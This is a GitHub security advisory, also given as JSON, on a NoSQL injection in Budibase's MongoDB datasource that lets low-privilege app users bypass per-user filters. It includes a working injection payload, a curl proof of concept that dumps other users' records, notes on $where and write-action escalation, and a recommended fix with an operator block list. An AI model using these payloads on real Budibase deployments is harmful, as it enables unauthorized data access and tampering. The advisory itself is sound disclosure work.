GHSA-PMPG-2MXQ-6XWR

Vulnerability from github – Published: 2026-07-24 21:43 – Updated: 2026-07-24 21:43
VLAI
Summary
Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete
Details

Summary

An end-user injection in Budibase's MongoDB datasource lets any BASIC app user bypass the builder's query-level access controls. Builders scope MongoDB reads per-user with bindings like {"email": "{{ currentUser.email }}"} so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with noEscaping: true and then JSON.parsed, Bob (a BASIC user) overrides the builder's filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through interpolateSQL(); the MongoDB path has no equivalent, so the scoping pattern Budibase's own docs show is unsafe.

Details

Enrichment

packages/server/src/sdk/workspace/queries/queries.ts:105-125 enriches every string field of the query with handlebars, then parses the enriched json field:

enrichedQuery[key] = processStringSync(fields[key], parameters, {
  noEscaping: true,
  noHelpers: true,
  escapeNewlines: true,
})
// ...
enrichedQuery.json = JSON.parse(
  enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody
)

noEscaping: true turns {{name}} into {{{name}}}, which Handlebars renders without HTML-escaping. Any " or } the attacker supplies lands verbatim in the enriched string. JSON.parse then produces a structured object whose top-level keys and operators came from the parameter value.

Execution

packages/server/src/integrations/mongodb.ts:499-512:

async read(query: MongoDBQuery) {
  try {
    await this.connect()
    const db = this.client.db(this.config.db)
    const collection = db.collection(query.extra.collection)
    let json = this.createObjectIds(query.json)
    switch (query.extra.actionType) {
      case "find": {
        if (json) {
          return await collection.find(json).toArray()
        }

createObjectIds walks the object and rewrites strings that look like ObjectId(...). It does not strip $-prefixed keys and does not reject operator-shaped values. The injected filter reaches collection.find unchanged.

For comparison, SQL datasources go through interpolateSQL at packages/server/src/threads/query.ts:145, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.

Duplicate-key trick

The template gives the attacker one substitution point inside the name value. The outer {"name": " / "} is fixed. The attacker's payload:

x", "name": {"$ne": "x"}, "$comment": "bud-033

Renders to:

{"name": "x", "name": {"$ne": "x"}, "$comment": "bud-033"}

JSON.parse keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node's JSON.parse keep the last), so the parsed object is:

{ name: { $ne: "x" }, $comment: "bud-033" }

$comment is a MongoDB meta operator that the server accepts and ignores, so it consumes the template's trailing "} without restricting the query. The filter that reaches MongoDB is name != "x", which matches every document.

Proof of Concept

Tested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.

Step 1: Admin creates a MongoDB datasource and seeds three documents:

docker run -d --name mongo -p 27017:27017 mongo:6
docker exec mongo mongosh --quiet --eval '
  db = db.getSiblingDB("testdb");
  db.users.insertMany([
    {name:"alice", email:"alice@x.com", secret:"public-alice"},
    {name:"bob",   email:"bob@x.com",   secret:"PRIVATE-BOB"},
    {name:"eve",   email:"eve@x.com",   secret:"PRIVATE-EVE"}
  ]);'

Step 2: Alice, a builder, configures the datasource and writes a MongoDB query find-by-name whose json field is {"name": "{{name}}"}. She publishes the app and grants Bob (BASIC) a role on it.

Step 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. POST /api/queries/:queryId is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):

curl -sS -b "$BOB_COOKIE" -X POST "$BASE/api/queries/$QUERY_ID" \
  -H "Content-Type: application/json" -H "x-budibase-app-id: $PROD_APP" \
  -d '{"parameters":{"name":"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033"}}'

Legitimate name=alice returned only Alice:

[{"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"}]

The injection payload returned all three documents:

[
  {"_id":"...","name":"alice","email":"alice@x.com","secret":"public-alice"},
  {"_id":"...","name":"bob",  "email":"bob@x.com",  "secret":"PRIVATE-BOB"},
  {"_id":"...","name":"eve",  "email":"eve@x.com",  "secret":"PRIVATE-EVE"}
]

MongoDB's profiling confirmed the filter that reached the server:

{"find":"users","filter":{"name":{"$ne":"never-matches"},"$comment":"bud-033"}}

Impact

The builder's per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone's.

Concrete scenario: builder publishes an app whose "My records" screen runs a MongoDB query with json = {"email": "{{ currentUser.email }}"}. Each app user is supposed to see only the rows where email matches their session. Bob, a BASIC user in that app, sends bob@x.com", "email": {"$ne": "x"}, "$comment": "x as the currentUser.email binding replacement and receives every row in the collection, including other tenants' users, admin records, and any secret fields the builder stored alongside.

The blast radius depends on what the builder exposed:

  • Read queries: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users' secrets).
  • $where operator: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.
  • $function / $accumulator (MongoDB 4.4+): arbitrary JS in aggregation stages.
  • $lookup: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.
  • update / delete action types: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.

The blast radius is the builder's own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer's external Mongo, so the attacker reads and writes data the builder's connection has access to and does not cross into Budibase's tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern ({{binding}} inside the JSON body) is the exact shape Budibase's documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the $where / $lookup / write-action paths exist but depend on what primitives the builder exposed.

Recommended Fix

Strip $-prefixed keys from any object that originates from user-controlled parameters before it reaches collection.find/updateOne/deleteOne. A single guard in createObjectIds covers the read, update, and delete paths:

// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)
const DANGEROUS = new Set([
  "$where", "$function", "$accumulator",
  "$expr", "$regex", "$ne", "$nin", "$gt", "$gte", "$lt", "$lte",
  "$or", "$and", "$nor", "$not", "$exists", "$type", "$mod",
  "$text", "$comment",
])

function stripOperators(obj: any): any {
  if (obj === null || typeof obj !== "object") return obj
  if (Array.isArray(obj)) return obj.map(stripOperators)
  const cleaned: Record<string, any> = {}
  for (const [k, v] of Object.entries(obj)) {
    if (DANGEROUS.has(k)) continue
    cleaned[k] = stripOperators(v)
  }
  return cleaned
}

A safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-24T21:43:34Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAn end-user injection in Budibase\u0027s MongoDB datasource lets any BASIC app user bypass the builder\u0027s query-level access controls. Builders scope MongoDB reads per-user with bindings like `{\"email\": \"{{ currentUser.email }}\"}` so each app user only sees their own rows. Because the binding is handlebars-enriched into the query JSON with `noEscaping: true` and then `JSON.parse`d, Bob (a BASIC user) overrides the builder\u0027s filter with a MongoDB operator and reads every document the connection can touch. SQL datasources are parameterized through `interpolateSQL()`; the MongoDB path has no equivalent, so the scoping pattern Budibase\u0027s own docs show is unsafe.\n\n## Details\n\n### Enrichment\n\n`packages/server/src/sdk/workspace/queries/queries.ts:105-125` enriches every string field of the query with handlebars, then parses the enriched `json` field:\n\n```typescript\nenrichedQuery[key] = processStringSync(fields[key], parameters, {\n  noEscaping: true,\n  noHelpers: true,\n  escapeNewlines: true,\n})\n// ...\nenrichedQuery.json = JSON.parse(\n  enrichedQuery.json || enrichedQuery.customData || enrichedQuery.requestBody\n)\n```\n\n`noEscaping: true` turns `{{name}}` into `{{{name}}}`, which Handlebars renders without HTML-escaping. Any `\"` or `}` the attacker supplies lands verbatim in the enriched string. `JSON.parse` then produces a structured object whose top-level keys and operators came from the parameter value.\n\n### Execution\n\n`packages/server/src/integrations/mongodb.ts:499-512`:\n\n```typescript\nasync read(query: MongoDBQuery) {\n  try {\n    await this.connect()\n    const db = this.client.db(this.config.db)\n    const collection = db.collection(query.extra.collection)\n    let json = this.createObjectIds(query.json)\n    switch (query.extra.actionType) {\n      case \"find\": {\n        if (json) {\n          return await collection.find(json).toArray()\n        }\n```\n\n`createObjectIds` walks the object and rewrites strings that look like `ObjectId(...)`. It does not strip `$`-prefixed keys and does not reject operator-shaped values. The injected filter reaches `collection.find` unchanged.\n\nFor comparison, SQL datasources go through `interpolateSQL` at `packages/server/src/threads/query.ts:145`, which parameterizes bindings into driver-level bind variables. The MongoDB path has no equivalent.\n\n### Duplicate-key trick\n\nThe template gives the attacker one substitution point inside the `name` value. The outer `{\"name\": \"` / `\"}` is fixed. The attacker\u0027s payload:\n\n```\nx\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\n```\n\nRenders to:\n\n```json\n{\"name\": \"x\", \"name\": {\"$ne\": \"x\"}, \"$comment\": \"bud-033\"}\n```\n\n`JSON.parse` keeps the last value for a duplicate key (ECMA-404 leaves this implementation-defined; V8 and Node\u0027s `JSON.parse` keep the last), so the parsed object is:\n\n```js\n{ name: { $ne: \"x\" }, $comment: \"bud-033\" }\n```\n\n`$comment` is a MongoDB meta operator that the server accepts and ignores, so it consumes the template\u0027s trailing `\"}` without restricting the query. The filter that reaches MongoDB is `name != \"x\"`, which matches every document.\n\n## Proof of Concept\n\nTested against Budibase 3.35.8 (master at f960e361) and MongoDB 6.\n\nStep 1: Admin creates a MongoDB datasource and seeds three documents:\n\n```bash\ndocker run -d --name mongo -p 27017:27017 mongo:6\ndocker exec mongo mongosh --quiet --eval \u0027\n  db = db.getSiblingDB(\"testdb\");\n  db.users.insertMany([\n    {name:\"alice\", email:\"alice@x.com\", secret:\"public-alice\"},\n    {name:\"bob\",   email:\"bob@x.com\",   secret:\"PRIVATE-BOB\"},\n    {name:\"eve\",   email:\"eve@x.com\",   secret:\"PRIVATE-EVE\"}\n  ]);\u0027\n```\n\nStep 2: Alice, a builder, configures the datasource and writes a MongoDB query `find-by-name` whose `json` field is `{\"name\": \"{{name}}\"}`. She publishes the app and grants Bob (BASIC) a role on it.\n\nStep 3: Bob, logged in as BASIC with a role on the published app, executes the query via the standard execute endpoint. `POST /api/queries/:queryId` is reachable by any app role with permission on the query (it is how Budibase renders query-backed tables to end users):\n\n```bash\ncurl -sS -b \"$BOB_COOKIE\" -X POST \"$BASE/api/queries/$QUERY_ID\" \\\n  -H \"Content-Type: application/json\" -H \"x-budibase-app-id: $PROD_APP\" \\\n  -d \u0027{\"parameters\":{\"name\":\"x\\\", \\\"name\\\": {\\\"$ne\\\": \\\"x\\\"}, \\\"$comment\\\": \\\"bud-033\"}}\u0027\n```\n\nLegitimate `name=alice` returned only Alice:\n\n```json\n[{\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"}]\n```\n\nThe injection payload returned all three documents:\n\n```json\n[\n  {\"_id\":\"...\",\"name\":\"alice\",\"email\":\"alice@x.com\",\"secret\":\"public-alice\"},\n  {\"_id\":\"...\",\"name\":\"bob\",  \"email\":\"bob@x.com\",  \"secret\":\"PRIVATE-BOB\"},\n  {\"_id\":\"...\",\"name\":\"eve\",  \"email\":\"eve@x.com\",  \"secret\":\"PRIVATE-EVE\"}\n]\n```\n\nMongoDB\u0027s profiling confirmed the filter that reached the server:\n\n```json\n{\"find\":\"users\",\"filter\":{\"name\":{\"$ne\":\"never-matches\"},\"$comment\":\"bud-033\"}}\n```\n\n## Impact\n\nThe builder\u0027s per-user filter collapses. A BASIC end-user who is only meant to read their own documents reads everyone\u0027s.\n\nConcrete scenario: builder publishes an app whose \"My records\" screen runs a MongoDB query with `json` = `{\"email\": \"{{ currentUser.email }}\"}`. Each app user is supposed to see only the rows where `email` matches their session. Bob, a BASIC user in that app, sends `bob@x.com\", \"email\": {\"$ne\": \"x\"}, \"$comment\": \"x` as the `currentUser.email` binding replacement and receives every row in the collection, including other tenants\u0027 users, admin records, and any secret fields the builder stored alongside.\n\nThe blast radius depends on what the builder exposed:\n\n- **Read queries**: full-collection dump (demonstrated above: three docs returned where the scoped filter returned one, including other users\u0027 secrets).\n- **`$where` operator**: arbitrary JavaScript inside the MongoDB server process. The attacker exfiltrates any field of any document through the JS expression or via timing side channels.\n- **`$function` / `$accumulator`** (MongoDB 4.4+): arbitrary JS in aggregation stages.\n- **`$lookup`**: cross-collection joins within the same database. If the MongoDB datasource holds admin tokens or sensitive collections next to the one the builder queried, the injection reaches them.\n- **`update` / `delete` action types**: the filter injection rewrites the affected-document set. One request wipes or rewrites every document the connection can reach.\n\nThe blast radius is the builder\u0027s own MongoDB deployment, not Budibase infrastructure. Budibase does not ship or run MongoDB; this connector talks to the customer\u0027s external Mongo, so the attacker reads and writes data the builder\u0027s connection has access to and does not cross into Budibase\u0027s tenant boundary, CouchDB, MinIO, or Redis. The vulnerable pattern (`{{binding}}` inside the JSON body) is the exact shape Budibase\u0027s documentation shows for parameterized MongoDB queries, and there is no in-product warning that MongoDB behaves differently from SQL. CVSS reflects the common read-query scope (filter bypass on a single collection); the `$where` / `$lookup` / write-action paths exist but depend on what primitives the builder exposed.\n\n## Recommended Fix\n\nStrip `$`-prefixed keys from any object that originates from user-controlled parameters before it reaches `collection.find`/`updateOne`/`deleteOne`. A single guard in `createObjectIds` covers the read, update, and delete paths:\n\n```typescript\n// packages/server/src/integrations/mongodb.ts:394 (createObjectIds)\nconst DANGEROUS = new Set([\n  \"$where\", \"$function\", \"$accumulator\",\n  \"$expr\", \"$regex\", \"$ne\", \"$nin\", \"$gt\", \"$gte\", \"$lt\", \"$lte\",\n  \"$or\", \"$and\", \"$nor\", \"$not\", \"$exists\", \"$type\", \"$mod\",\n  \"$text\", \"$comment\",\n])\n\nfunction stripOperators(obj: any): any {\n  if (obj === null || typeof obj !== \"object\") return obj\n  if (Array.isArray(obj)) return obj.map(stripOperators)\n  const cleaned: Record\u003cstring, any\u003e = {}\n  for (const [k, v] of Object.entries(obj)) {\n    if (DANGEROUS.has(k)) continue\n    cleaned[k] = stripOperators(v)\n  }\n  return cleaned\n}\n```\n\nA safer fix mirrors the SQL path: introduce a MongoDB-aware enrichment that binds parameters as values instead of string-substituting them into the query JSON. That eliminates the whole class.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-pmpg-2mxq-6xwr",
  "modified": "2026-07-24T21:43:34Z",
  "published": "2026-07-24T21:43:34Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-pmpg-2mxq-6xwr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/pull/18907"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/commit/dd8c0654b35cd89ce3645f2355f4bf2ff9a5dd80"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.39.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": " Budibase: NoSQL injection in MongoDB integration: collection dump, $where JS exec, cross-collection pivot, arbitrary update/delete"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…